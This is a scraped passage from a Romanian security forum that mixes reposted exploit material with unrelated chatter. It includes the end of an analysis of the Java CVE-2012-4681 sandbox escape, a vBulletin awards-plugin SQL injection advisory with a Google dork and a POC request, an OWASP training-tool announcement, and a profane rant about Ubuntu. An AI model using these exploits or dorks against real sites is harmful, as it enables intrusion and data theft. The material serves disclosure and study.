[B]throws[/B] NoSuchMethodException {[/FONT] [FONT=Monospace][B]if[/B] (name == [B]null[/B]) {[/FONT] [FONT=Monospace][B]throw new[/B] IllegalArgumentException("Method name is not set[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]PrimitiveWrapperMap.[I]replacePrimitivesWithWrappers[/I](args);[/FONT] [FONT=Monospace]Signature signature = [B]new[/B] Signature(type, name, args);[/FONT] [FONT=Monospace]Method method = [I]CACHE[/I].get(signature);[/FONT] [FONT=Monospace][B]if[/B] (method != [B]null[/B]) {[/FONT] [FONT=Monospace][B]return[/B] method;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]method = [I]findAccessibleMethod[/I]([B]new[/B] MethodFinder(name, args).find(type.getMethods()));[/FONT] [FONT=Monospace][I]CACHE[/I].put(signature, method);[/FONT] [FONT=Monospace][B]return[/B] method;[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] The call to findAccessibleMethod ends up calling java.lang.Class.getMethods and the immediate caller in the stack is com.sun.beans.finder.MethodFinder which is trusted since is part of the JDK thus bypassing the security checks. Once again we can see the callers stack by debugging the applet: Affected Versions The com.sun.beans.finder.MethodFinder and com.sun.beans.finder.ClassFinder classes are available only since JDK 7. Putting all together So this exploit is performing the following steps: Creates a Statement instance that will call System.setSecurityManager(null) method using reflection. Creates a custom AccessControlContext with full permissions. With one bug it gets a reference to the sun.awt.SunToolkit class that is restricted to applets. With the other bug it invokes the getField public static method on sun.awt.SunToolkit using reflection with a trusted immediate caller that bypasses the security checks. With the getField method it is getting a reference to Statement.acc private field and setting its value to the custom AccessControlContext instance previously created. Finally it executes the Statement that will disable the Security Manager bypassing all security checks because it has full permissions set in its AccessControlContext. Author Esteban Guillardoy esteban@immunityinc.com twitter: @sagar38 References [1] - Secure Coding Guidelines for the Java Programming Language, Version 4.0 - Secure Coding Guidelines for the Java Programming Language, Version 4.0 [2] - Java SE 7 Security Architecture - Java Security Architecture: - [3] - Java SE 7 Security Documents - http://docs.oracle.com/javase/7/docs/technotes/guides/security/ [4] - Sami Koivu Blog - Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056) - (Slightly) Random Broken Thoughts: Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056) Posted by Nico Waisman at 11:15 AM Sursa: Immunity Products: Java 0day analysis (CVE-2012-4681)

Alea sunt cele de acum 1 an si jumatate. Trebuie sa si arate bine, dar sa se si potriveasca cu tema.

Salut, De la Pastele de anul trecut tot incercam sa schimbam header-ul forumului. Propuneri de atunci, pentru idei: Ne ajuta cineva cu un nou header?

Da, irelevant faptul ca e vorba de Windows 8...

Ce nu inteleg eu: de ce pula mea se alege cacatul de Ubuntu pentru astfel de comparatii? Nu suport faptul ca s-a ajuns sa se vorbeasca despre Linux ca fiind Ubuntu. Singurul lucru ok la Ubuntu, e ca sunt mii de ratati care fac package-uri. V-ati uitat si voi la update-urile de kernel? Ati vazut cate mailuri de @canonical sunt acolo? Cifra tinde spre 0. Redhat, Novell si multi altii contribuie la kernel, la "chestia" aia care va face voua calculatorul sa mearga bine si repede, si vin muistii de la Canocical, pun un wallpaper colorat pe Desktop si 2-3 efecte vizuale din Compiz (la care au desigur contributie 0) si apar tone de copii copaci si ridica in slavi porcaria lor colorata. De asemenea cei care folosesc Ubuntu, 90%, sunt total paraleli cu ceea ce inseamna Linux, si singura comanda pe care o stiu e "sudo apt-get" desi nu au idee macar despre ce e acel "sudo". Probabil multi habar nu au de sistemul de fisiere, ca e un /proc pe acolo si multe altele. Dar nu tati, esti sunt smecheri ca au "Linux" si aduc argumentele pulii gen "Linux nu are virusi" in discutii impotriva unui sistem de operare pe care l-au folosit toata viata. De ce folosesc ei Linux? Simplu: pentru ca e la fel ca Windows. Da, dai doua click-uri te conectezi la WiFi, ai File Manager (Dolphin), ai browsere, ai Pidgin in loc de Yahoo! Messenger, si cateva alte mici diferente, tot GUI! Deci e pentru multi doar o schimbare de "stil" fara sa aiba cea mai vaga idee despre ce se intampla "sub". Deci, in special cap de tanc astia care ati folosit numai Ubuntu, abtineti-va de la comentarii penibile. Macar de v-ati fi compilat si voi un kernel, sau orice program din surse, sa vedeti care e treaba cu acel program, ce librarii foloseste, ce optiuni are la compilare si cat de customizabil e... Dar nu, voi sunteti "Linuxisti" cica. UBUNTU NU E LINUX! Muie Ubuntu!

vBulletin Yet Another Awards System 4.0.2 SQL Injection Authored by Backsl@sh/Dan Posted Aug 31, 2012 # Exploit Title: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day # Google Dork: inurl:awards.php intext:"powered by vbulletin" # Date: 29/08/12 # Exploit Author: Backsl@sh/Dan # Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684 # Version: 4.0.2+ The vulnerability exists within /request_award.php. $vbulletin->input->clean_array_gpc('p', array( 'award_id' => TYPE_UINT, //'award_request_name' => TYPE_STR, //'award_request_recipient_name' => TYPE_STR, 'award_request_reason' => TYPE_STR, 'award_request_uid' => TYPE_UNIT, )); > $award_request_uid = $vbulletin->GPC['award_request_uid']; > > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')"); $award_request_uid is used within an insert into statement, unsanitized. - POC - http://[site].com/request_award.php POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit Thanks. Have fun. http://www.bugabuse.net/ Sursa: vBulletin Yet Another Awards System 4.0.2 SQL Injection ? Packet Storm

E ok pentru cei care vor sa testeze diverse query-uri, de oriunde ar fi. De exemplu, daca sunt la munca, si vreau sa incerc ceva nou, nu stau sa instalez serverul MySQL, intru acolo si testez.

S-a actualizat si pagina cu noi posturi: https://www.facebook.com/rstforum Face cineva un cover photo pentru pagina? Arata urat fara. Ceva simplu si elegant.

Ala pare link-ul de la un mp3...

[h=3]OWASP Security Shepherd 1.2 Released[/h] Security Shepherd is a computer based training application for web application security vulnerabilities. This project strives to hurde the lost sheep of the technological world back to the safe and sound ways of secure practises. Security Shepherd can be deployed as a CTF (Capture the Flag) game or as an open floor educational server. Easy configuration to suit every use Security Shepherd has been designed and implemented with the aim of fostering and improving security awareness among a varied skill-set demographic. This project enables users to learn or to improve upon existing manual penetration testing skills. This is accomplished through lesson and challenge techniques. A lesson provides a user with a lot of help in completing that module, where a challenge puts what the user learned in the lesson to use. Utilizing the OWASP top ten as a challenge test bed, common security vulnerabilities can be explored and their impact on a system understood. The bi-product of this challenge game is the acquired skill to harden a players own environment from OWASP top ten security risks The modules have been crafted to provide not only a challenge for a security novice, but security professionals as well. Security Shepherds vulnerabilities are not simulated, and are instead delievered through hardened real security vulnerabilities that can not be abused to compromise the application or it's environment. Many of these levels include insufficient protections to these vulnerabilities, such as black list filteres and poor security configuration. Security Shepherd includes everything you need to complete all of it's levels including the OWASP Zed Attack Proxy Project and portable browsers already configured for proxy use. The Security Shepherd project covers the following web application security topics; SQL Injection Cross Site Scripting Broken Authetication and Session Management Cross Site Rrequest Forgery Insecure Direct Object Reference Insecure Cryptographic Storage Failure to Restrict URL Access Unvalidated Redirects and Forwards Insufficient Transport Layer Security Download OWASP Security Shepherd 1.2 Sursa: OWASP Security Shepherd 1.2 Released - Penetration Testing and Security Tools